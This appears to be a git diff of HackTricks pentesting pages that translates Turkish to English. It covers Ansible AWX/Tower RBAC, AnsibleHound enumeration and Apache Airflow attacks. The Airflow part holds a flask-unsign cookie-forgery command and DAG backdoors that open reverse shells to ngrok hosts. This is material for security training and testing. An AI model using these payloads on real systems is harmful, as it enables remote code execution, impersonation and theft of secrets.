- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
|
||||
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
|
||||
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
|
||||
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
|
||||
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
|
||||
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
|
||||
|
||||
### İş Yürütme Akışı
|
||||
### Job Execution Flow
|
||||
|
||||
1. **Kullanıcı Etkileşimi**: Bir kullanıcı, AWX/Tower ile **Web Arayüzü** veya **REST API** aracılığıyla etkileşimde bulunabilir. Bu, AWX/Tower tarafından sunulan tüm işlevselliklere ön uç erişimi sağlar.
|
||||
2. **İş Başlatma**:
|
||||
- Kullanıcı, Web Arayüzü veya API aracılığıyla bir **İş Şablonu** temelinde bir iş başlatır.
|
||||
- İş Şablonu, **Envanter**, **Proje** (playbook'u içeren) ve **Kimlik Bilgileri** referanslarını içerir.
|
||||
- İş başlatıldığında, işin yürütülmesi için AWX/Tower arka ucuna bir istek gönderilir.
|
||||
3. **İş Kuyruğa Alma**:
|
||||
- **RabbitMQ**, web bileşeni ile görev çalıştırıcıları arasındaki mesajlaşmayı yönetir. Bir iş başlatıldığında, RabbitMQ kullanılarak görev motoruna bir mesaj gönderilir.
|
||||
- **Redis**, yürütülmeyi bekleyen kuyrukta olan işleri yöneten görev kuyruğu için arka uç olarak hizmet eder.
|
||||
4. **İşin Yürütülmesi**:
|
||||
- **Görev Motoru**, kuyrukta bekleyen işi alır. İlgili playbook, envanter ve kimlik bilgileri hakkında gerekli bilgileri **Veritabanı**'ndan alır.
|
||||
- İlgili **Proje**'den alınan Ansible playbook'unu kullanarak, Görev Motoru belirtilen **Envanter** düğümleri üzerinde sağlanan **Kimlik Bilgileri** ile playbook'u çalıştırır.
|
||||
- Playbook çalışırken, yürütme çıktısı (loglar, bilgiler vb.) **Veritabanı**'na kaydedilir.
|
||||
5. **İş Sonuçları**:
|
||||
- Playbook çalışmayı bitirdiğinde, sonuçlar (başarı, başarısızlık, loglar) **Veritabanı**'na kaydedilir.
|
||||
- Kullanıcılar, sonuçları Web Arayüzü aracılığıyla görüntüleyebilir veya REST API aracılığıyla sorgulayabilir.
|
||||
- İş sonuçlarına bağlı olarak, **Bildirimler** kullanıcıları veya dış sistemleri işin durumu hakkında bilgilendirmek için gönderilebilir. Bildirimler e-postalar, Slack mesajları, web kancaları vb. olabilir.
|
||||
6. **Dış Sistem Entegrasyonu**:
|
||||
- **Envanterler**, dış sistemlerden dinamik olarak kaynaklanabilir, bu da AWX/Tower'ın AWS, Azure, VMware gibi kaynaklardan hostları çekmesine olanak tanır.
|
||||
- **Projeler** (playbook'lar), versiyon kontrol sistemlerinden alınabilir, böylece iş yürütme sırasında güncel playbook'ların kullanılması sağlanır.
|
||||
- **Zamanlayıcılar ve Geri Çağırmalar**, diğer sistemler veya araçlarla entegrasyon için kullanılabilir, bu da AWX/Tower'ın dış tetikleyicilere yanıt vermesini veya işleri önceden belirlenmiş zamanlarda çalıştırmasını sağlar.
|
||||
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
|
||||
2. **Job Initiation**:
|
||||
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
|
||||
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
|
||||
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
|
||||
3. **Job Queuing**:
|
||||
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
|
||||
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
|
||||
4. **Job Execution**:
|
||||
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
|
||||
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
|
||||
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
|
||||
5. **Job Results**:
|
||||
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
|
||||
- Users can then view the results through the Web Interface or query them via the REST API.
|
||||
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
|
||||
6. **External Systems Integration**:
|
||||
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
|
||||
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
|
||||
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
|
||||
|
||||
### Test için AWX laboratuvarı oluşturma
|
||||
### AWX lab creation for testing
|
||||
|
||||
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
|
||||
|
||||
[**Belgeleri takip ederek**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) AWX'ı çalıştırmak için docker-compose kullanmak mümkündür:
|
||||
```bash
|
||||
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
|
||||
|
||||
@@ -82,78 +83,79 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
|
||||
# Load demo data
|
||||
docker exec tools_awx_1 awx-manage create_preload_data
|
||||
```
|
||||
|
||||
## RBAC
|
||||
|
||||
### Desteklenen roller
|
||||
### Supported roles
|
||||
|
||||
En yetkili rol **Sistem Yöneticisi** olarak adlandırılır. Bu role sahip olan herkes **her şeyi değiştirebilir**.
|
||||
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
|
||||
|
||||
Bir **beyaz kutu güvenliği** incelemesi için, **Sistem Denetçisi rolüne** ihtiyacınız olacak, bu rol **tüm sistem verilerini görüntülemenizi** sağlar ancak herhangi bir değişiklik yapmanıza izin vermez. Diğer bir seçenek **Organizasyon Denetçisi rolünü** almak olacaktır, ancak diğerini almak daha iyi olur.
|
||||
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Mevcut rollerin ayrıntılı açıklamasını almak için genişletin</summary>
|
||||
<summary>Expand this to get detailed description of available roles</summary>
|
||||
|
||||
1. **Sistem Yöneticisi**:
|
||||
- Bu, sistemdeki herhangi bir kaynağa erişim ve değiştirme izinlerine sahip süper kullanıcı rolüdür.
|
||||
- Tüm organizasyonları, takımları, projeleri, envanterleri, iş şablonlarını vb. yönetebilirler.
|
||||
2. **Sistem Denetçisi**:
|
||||
- Bu role sahip kullanıcılar tüm sistem verilerini görüntüleyebilir ancak herhangi bir değişiklik yapamazlar.
|
||||
- Bu rol, uyum ve denetim için tasarlanmıştır.
|
||||
3. **Organizasyon Rolleri**:
|
||||
- **Admin**: Organizasyonun kaynakları üzerinde tam kontrol.
|
||||
- **Auditor**: Organizasyonun kaynaklarına yalnızca görüntüleme erişimi.
|
||||
- **Member**: Belirli izinleri olmayan bir organizasyonda temel üyelik.
|
||||
- **Execute**: Organizasyon içinde iş şablonlarını çalıştırabilir.
|
||||
- **Read**: Organizasyonun kaynaklarını görüntüleyebilir.
|
||||
4. **Proje Rolleri**:
|
||||
- **Admin**: Projeyi yönetebilir ve değiştirebilir.
|
||||
- **Use**: Projeyi bir iş şablonunda kullanabilir.
|
||||
- **Update**: Projeyi SCM (kaynak kontrolü) kullanarak güncelleyebilir.
|
||||
5. **Envanter Rolleri**:
|
||||
- **Admin**: Envanteri yönetebilir ve değiştirebilir.
|
||||
- **Ad Hoc**: Envanter üzerinde ad hoc komutları çalıştırabilir.
|
||||
- **Update**: Envanter kaynağını güncelleyebilir.
|
||||
- **Use**: Envanteri bir iş şablonunda kullanabilir.
|
||||
- **Read**: Yalnızca görüntüleme erişimi.
|
||||
6. **İş Şablonu Rolleri**:
|
||||
- **Admin**: İş şablonunu yönetebilir ve değiştirebilir.
|
||||
- **Execute**: İşi çalıştırabilir.
|
||||
- **Read**: Yalnızca görüntüleme erişimi.
|
||||
7. **Kimlik Bilgisi Rolleri**:
|
||||
- **Admin**: Kimlik bilgilerini yönetebilir ve değiştirebilir.
|
||||
- **Use**: Kimlik bilgilerini iş şablonlarında veya diğer ilgili kaynaklarda kullanabilir.
|
||||
- **Read**: Yalnızca görüntüleme erişimi.
|
||||
8. **Takım Rolleri**:
|
||||
- **Member**: Takımın bir parçası ancak belirli izinleri yok.
|
||||
- **Admin**: Takımın üyelerini ve ilişkili kaynakları yönetebilir.
|
||||
9. **İş Akışı Rolleri**:
|
||||
- **Admin**: İş akışını yönetebilir ve değiştirebilir.
|
||||
- **Execute**: İş akışını çalıştırabilir.
|
||||
- **Read**: Yalnızca görüntüleme erişimi.
|
||||
1. **System Administrator**:
|
||||
- This is the superuser role with permissions to access and modify any resource in the system.
|
||||
- They can manage all organizations, teams, projects, inventories, job templates, etc.
|
||||
2. **System Auditor**:
|
||||
- Users with this role can view all system data but cannot make any changes.
|
||||
- This role is designed for compliance and oversight.
|
||||
3. **Organization Roles**:
|
||||
- **Admin**: Full control over the organization's resources.
|
||||
- **Auditor**: View-only access to the organization's resources.
|
||||
- **Member**: Basic membership in an organization without any specific permissions.
|
||||
- **Execute**: Can run job templates within the organization.
|
||||
- **Read**: Can view the organization’s resources.
|
||||
4. **Project Roles**:
|
||||
- **Admin**: Can manage and modify the project.
|
||||
- **Use**: Can use the project in a job template.
|
||||
- **Update**: Can update project using SCM (source control).
|
||||
5. **Inventory Roles**:
|
||||
- **Admin**: Can manage and modify the inventory.
|
||||
- **Ad Hoc**: Can run ad hoc commands on the inventory.
|
||||
- **Update**: Can update the inventory source.
|
||||
- **Use**: Can use the inventory in a job template.
|
||||
- **Read**: View-only access.
|
||||
6. **Job Template Roles**:
|
||||
- **Admin**: Can manage and modify the job template.
|
||||
- **Execute**: Can run the job.
|
||||
- **Read**: View-only access.
|
||||
7. **Credential Roles**:
|
||||
- **Admin**: Can manage and modify the credentials.
|
||||
- **Use**: Can use the credentials in job templates or other relevant resources.
|
||||
- **Read**: View-only access.
|
||||
8. **Team Roles**:
|
||||
- **Member**: Part of the team but without any specific permissions.
|
||||
- **Admin**: Can manage the team's members and associated resources.
|
||||
9. **Workflow Roles**:
|
||||
- **Admin**: Can manage and modify the workflow.
|
||||
- **Execute**: Can run the workflow.
|
||||
- **Read**: View-only access.
|
||||
|
||||
</details>
|
||||
|
||||
## AnsibleHound ile Sayım & Saldırı Yolu Haritalama
|
||||
## Enumeration & Attack-Path Mapping with AnsibleHound
|
||||
|
||||
`AnsibleHound`, **salt okunur** Ansible Tower/AWX/Automation Controller API token'ını analiz edilmek üzere BloodHound (veya BloodHound Enterprise) içinde kullanılmaya hazır bir izin grafiğine dönüştüren, Go dilinde yazılmış açık kaynaklı BloodHound *OpenGraph* toplayıcısıdır.
|
||||
`AnsibleHound` is an open-source BloodHound *OpenGraph* collector written in Go that turns a **read-only** Ansible Tower/AWX/Automation Controller API token into a complete permission graph ready to be analysed inside BloodHound (or BloodHound Enterprise).
|
||||
|
||||
### Bu neden faydalı?
|
||||
1. Tower/AWX REST API son derece zengindir ve örneğinizin bildiği **her nesne ve RBAC ilişkisini** açığa çıkarır.
|
||||
2. En düşük ayrıcalıkla (**Read**) token ile erişilebilen tüm kaynakları (organizasyonlar, envanterler, ana bilgisayarlar, kimlik bilgileri, projeler, iş şablonları, kullanıcılar, takımlar…) özyinelemeli olarak saymak mümkündür.
|
||||
3. Ham veriler BloodHound şemasına dönüştürüldüğünde, Active Directory değerlendirmelerinde çok popüler olan aynı *saldırı yolu* görselleştirme yeteneklerini elde edersiniz – ancak şimdi CI/CD mülkünüze yönlendirilmiştir.
|
||||
### Why is this useful?
|
||||
1. The Tower/AWX REST API is extremely rich and exposes **every object and RBAC relationship** your instance knows about.
|
||||
2. Even with the lowest privilege (**Read**) token it is possible to recursively enumerate all accessible resources (organisations, inventories, hosts, credentials, projects, job templates, users, teams…).
|
||||
3. When the raw data is converted to the BloodHound schema you obtain the same *attack-path* visualisation capabilities that are so popular in Active Directory assessments – but now directed at your CI/CD estate.
|
||||
|
||||
Güvenlik ekipleri (ve saldırganlar!) bu nedenle:
|
||||
* **Kimin neyin yöneticisi olabileceğini** hızlıca anlayabilir.
|
||||
* **Erişilebilir kimlik bilgilerini veya ana bilgisayarları** tanımlayabilir.
|
||||
* Tam kontrol elde etmek için birden fazla “Read ➜ Use ➜ Execute ➜ Admin” kenarını zincirleyebilir.
|
||||
Security teams (and attackers!) can therefore:
|
||||
* Quickly understand **who can become admin of what**.
|
||||
* Identify **credentials or hosts that are reachable** from an unprivileged account.
|
||||
* Chain multiple “Read ➜ Use ➜ Execute ➜ Admin” edges to obtain full control over the Tower instance or the underlying infrastructure.
|
||||
|
||||
### Ön koşullar
|
||||
* HTTPS üzerinden erişilebilen Ansible Tower / AWX / Automation Controller.
|
||||
* Sadece **Read** kapsamına sahip bir kullanıcı API token'ı ( *Kullanıcı Ayrıntıları → Tokenlar → Token Oluştur → kapsam = Read*).
|
||||
* Toplayıcıyı derlemek için Go ≥ 1.20 (veya önceden derlenmiş ikili dosyaları kullanın).
|
||||
### Prerequisites
|
||||
* Ansible Tower / AWX / Automation Controller reachable over HTTPS.
|
||||
* A user API token scoped to **Read** only (created from *User Details → Tokens → Create Token → scope = Read*).
|
||||
* Go ≥ 1.20 to compile the collector (or use the pre-built binaries).
|
||||
|
||||
### Derleme ve Çalıştırma
|
||||
### Building & Running
|
||||
```bash
|
||||
# Compile the collector
|
||||
cd collector
|
||||
@@ -162,7 +164,7 @@ go build . -o build/ansiblehound
|
||||
# Execute against the target instance
|
||||
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
|
||||
```
|
||||
İçsel olarak AnsibleHound, (en az) aşağıdaki uç noktalara karşı *sayfalı* `GET` istekleri gerçekleştirir ve her JSON nesnesinde döndürülen `ilişkili` bağlantıları otomatik olarak takip eder:
|
||||
Internally AnsibleHound performs *paginated* `GET` requests against (at least) the following endpoints and automatically follows the `related` links returned in every JSON object:
|
||||
```
|
||||
/api/v2/organizations/
|
||||
/api/v2/inventories/
|
||||
@@ -173,32 +175,37 @@ go build . -o build/ansiblehound
|
||||
/api/v2/users/
|
||||
/api/v2/teams/
|
||||
```
|
||||
Tüm toplanan sayfalar disk üzerinde tek bir JSON dosyasında birleştirilir (varsayılan: `ansiblehound-output.json`).
|
||||
All collected pages are merged into a single JSON file on disk (default: `ansiblehound-output.json`).
|
||||
|
||||
### BloodHound Dönüşümü
|
||||
Ham Tower verisi daha sonra **BloodHound OpenGraph**'e `AT` (Ansible Tower) ile başlayan özel düğümler kullanılarak **dönüştürülür**:
|
||||
### BloodHound Transformation
|
||||
The raw Tower data is then **transformed to BloodHound OpenGraph** using custom nodes prefixed with `AT` (Ansible Tower):
|
||||
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
|
||||
|
||||
Ve ilişkileri / ayrıcalıkları modelleyen kenarlar:
|
||||
And edges modelling relationships / privileges:
|
||||
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
|
||||
|
||||
Sonuç doğrudan BloodHound'a aktarılabilir:
|
||||
The result can be imported straight into BloodHound:
|
||||
```bash
|
||||
neo4j stop # if BloodHound CE is running locally
|
||||
bloodhound-import ansiblehound-output.json
|
||||
```
|
||||
İsteğe bağlı olarak, yeni düğüm türlerinin görsel olarak farklı olması için **özel simgeler** yükleyebilirsiniz:
|
||||
|
||||
Optionally you can upload **custom icons** so that the new node types are visually distinct:
|
||||
```bash
|
||||
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
|
||||
```
|
||||
### Savunma ve Saldırı Dikkate Alınacak Hususlar
|
||||
* Bir *Read* token genellikle zararsız olarak kabul edilir ancak yine de **tam topoloji ve her bir kimlik bilgisi meta verisini** sızdırır. Bunu hassas olarak değerlendirin!
|
||||
* **En az ayrıcalık** ilkesini uygulayın ve kullanılmayan token'ları döndürün / iptal edin.
|
||||
* API'yi aşırı sıralama için izleyin (birden fazla ardışık `GET` isteği, yüksek sayfalama aktivitesi).
|
||||
* Bir saldırgan perspektifinden bu, CI/CD boru hattı içinde mükemmel bir *ilk tutunma → ayrıcalık yükseltme* tekniğidir.
|
||||
|
||||
## Referanslar
|
||||
* [AnsibleHound – Ansible Tower/AWX için BloodHound Toplayıcı](https://github.com/TheSleekBoyCompany/AnsibleHound)
|
||||
### Defensive & Offensive Considerations
|
||||
* A *Read* token is normally considered harmless but still leaks the **full topology and every credential metadata**. Treat it as sensitive!
|
||||
* Enforce **least privilege** and rotate / revoke unused tokens.
|
||||
* Monitor the API for excessive enumeration (multiple sequential `GET` requests, high pagination activity).
|
||||
* From an attacker perspective this is a perfect *initial foothold → privilege escalation* technique inside the CI/CD pipeline.
|
||||
|
||||
## References
|
||||
* [AnsibleHound – BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
|
||||
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,22 +1,23 @@
|
||||
# Apache Airflow Güvenliği
|
||||
# Apache Airflow Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Temel Bilgiler
|
||||
### Basic Information
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org), **veri boru hatlarını veya iş akışlarını düzenlemek ve zamanlamak için bir platform** olarak hizmet eder. Veri boru hatları bağlamında "orchestrasyon" terimi, çeşitli kaynaklardan gelen karmaşık veri iş akışlarını düzenleme, koordine etme ve yönetme sürecini ifade eder. Bu düzenlenmiş veri boru hatlarının temel amacı, işlenmiş ve tüketilebilir veri setleri sağlamaktır. Bu veri setleri, iş zekası araçları, veri bilimi ve makine öğrenimi modelleri gibi birçok uygulama tarafından yaygın olarak kullanılmaktadır ve bunlar büyük veri uygulamalarının işleyişi için temeldir.
|
||||
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
|
||||
|
||||
Temelde, Apache Airflow, bir şey olduğunda (olay, cron) **kodun yürütülmesini zamanlamanıza** olanak tanır.
|
||||
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
|
||||
|
||||
### Yerel Laboratuvar
|
||||
### Local Lab
|
||||
|
||||
#### Docker-Compose
|
||||
|
||||
Tam bir apache airflow docker ortamı başlatmak için [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) adresinden **docker-compose yapılandırma dosyasını** kullanabilirsiniz. (Eğer MacOS kullanıyorsanız, docker VM'ye en az 6GB RAM vermeyi unutmayın).
|
||||
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
|
||||
|
||||
#### Minikube
|
||||
|
||||
**Apache Airflow'u çalıştırmanın** kolay bir yolu, **minikube ile çalıştırmaktır**:
|
||||
One easy way to **run apache airflo**w is to run it **with minikube**:
|
||||
|
||||
```bash
|
||||
helm repo add airflow-stable https://airflow-helm.github.io/charts
|
||||
helm repo update
|
||||
@@ -26,9 +27,10 @@ helm install airflow-release airflow-stable/airflow
|
||||
# Use this command to delete it
|
||||
helm delete airflow-release
|
||||
```
|
||||
### Airflow Yapılandırması
|
||||
|
||||
Airflow, yapılandırmasında **hassas bilgileri** saklayabilir veya zayıf yapılandırmalar bulabilirsiniz:
|
||||
### Airflow Configuration
|
||||
|
||||
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
|
||||
|
||||
{{#ref}}
|
||||
airflow-configuration.md
|
||||
@@ -36,62 +38,65 @@ airflow-configuration.md
|
||||
|
||||
### Airflow RBAC
|
||||
|
||||
Airflow'a saldırmaya başlamadan önce **izinlerin nasıl çalıştığını** anlamalısınız:
|
||||
Before start attacking Airflow you should understand **how permissions work**:
|
||||
|
||||
{{#ref}}
|
||||
airflow-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
### Saldırılar
|
||||
### Attacks
|
||||
|
||||
#### Web Konsolu Sayımı
|
||||
#### Web Console Enumeration
|
||||
|
||||
Eğer **web konsoluna erişiminiz** varsa, aşağıdaki bilgilerden bazılarına veya hepsine erişim sağlayabilirsiniz:
|
||||
If you have **access to the web console** you might be able to access some or all of the following information:
|
||||
|
||||
- **Değişkenler** (Özel hassas bilgiler burada saklanabilir)
|
||||
- **Bağlantılar** (Özel hassas bilgiler burada saklanabilir)
|
||||
- `http://<airflow>/connection/list/` adresinden erişin
|
||||
- [**Yapılandırma**](./#airflow-configuration) (Hassas bilgiler, örneğin **`secret_key`** ve şifreler burada saklanabilir)
|
||||
- **kullanıcılar ve roller** listesini görüntüleyin
|
||||
- **Her DAG'ın kodu** (ilginç bilgiler içerebilir)
|
||||
- **Variables** (Custom sensitive information might be stored here)
|
||||
- **Connections** (Custom sensitive information might be stored here)
|
||||
- Access them in `http://<airflow>/connection/list/`
|
||||
- [**Configuration**](#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
|
||||
- List **users & roles**
|
||||
- **Code of each DAG** (which might contain interesting info)
|
||||
|
||||
#### Değişken Değerlerini Alma
|
||||
#### Retrieve Variables Values
|
||||
|
||||
Değişkenler Airflow'da saklanabilir, böylece **DAG'lar** değerlerine **erişebilir**. Bu, diğer platformların gizli bilgilerine benzer. Eğer **yeterli izinleriniz** varsa, bunlara `http://<airflow>/variable/list/` adresinden GUI üzerinden erişebilirsiniz.\
|
||||
Airflow varsayılan olarak değişkenin değerini GUI'de gösterir, ancak [**bu**](https://marclamberti.com/blog/variables-with-apache-airflow/) kaynağa göre, **değerleri** **yıldız** olarak görünecek şekilde **değişkenler listesi** ayarlamak mümkündür.
|
||||
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
|
||||
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
|
||||
|
||||
.png>)
|
||||
|
||||
Ancak, bu **değerler** hala **CLI** aracılığıyla **alınabilir** (DB erişiminiz olmalı), **rastgele DAG** çalıştırma, **API** ile değişkenler uç noktasına erişim (API'nin etkinleştirilmesi gerekir) ve **hatta GUI'nin kendisi!**\
|
||||
Bu değerleri GUI'den erişmek için sadece **erişmek istediğiniz değişkenleri** seçin ve **Eylemler -> Dışa Aktar** seçeneğine tıklayın.\
|
||||
Başka bir yol, **gizli değere** ulaşmak için **arama filtrelemesi** kullanarak **bruteforce** yapmaktır:
|
||||
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
|
||||
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
|
||||
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Yetki Yükseltme
|
||||
#### Privilege Escalation
|
||||
|
||||
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
|
||||
|
||||
Eğer **`expose_config`** yapılandırması **True** olarak ayarlandıysa, **Kullanıcı** rolünden ve **üstündeki** rollerden **web'deki yapılandırmayı** **okuyabilirler**. Bu yapılandırmada, **`secret_key`** görünür, bu da geçerli bir kullanıcıya sahip olan herhangi birinin **kendi imzalı çerezini oluşturup başka bir kullanıcı hesabını taklit edebileceği** anlamına gelir.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
#### DAG Arka Kapı (Airflow işçisi içinde RCE)
|
||||
|
||||
Eğer **DAG'ların kaydedildiği** yere **yazma erişiminiz** varsa, sadece **bir tane oluşturabilirsiniz** ve bu size bir **ters kabuk** gönderecektir.\
|
||||
Bu ters kabuğun bir **airflow işçi konteyneri** içinde çalıştırılacağını unutmayın:
|
||||
#### DAG Backdoor (RCE in Airflow worker)
|
||||
|
||||
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
|
||||
Note that this reverse shell is going to be executed inside an **airflow worker container**:
|
||||
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash import BashOperator
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
```
|
||||
|
||||
```python
|
||||
@@ -100,66 +105,74 @@ from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
run = PythonOperator(
|
||||
task_id='rs_python',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
)
|
||||
```
|
||||
#### DAG Arka Kapı (Airflow zamanlayıcısında RCE)
|
||||
|
||||
Eğer bir şeyi **kodun kökünde çalıştırılacak şekilde ayarlarsanız**, bu yazının yazıldığı anda, **zamanlayıcı tarafından** DAG klasörüne yerleştirildikten birkaç saniye sonra **çalıştırılacaktır**.
|
||||
#### DAG Backdoor (RCE in Airflow scheduler)
|
||||
|
||||
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
|
||||
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
rs("2.tcp.ngrok.io", 14403)
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
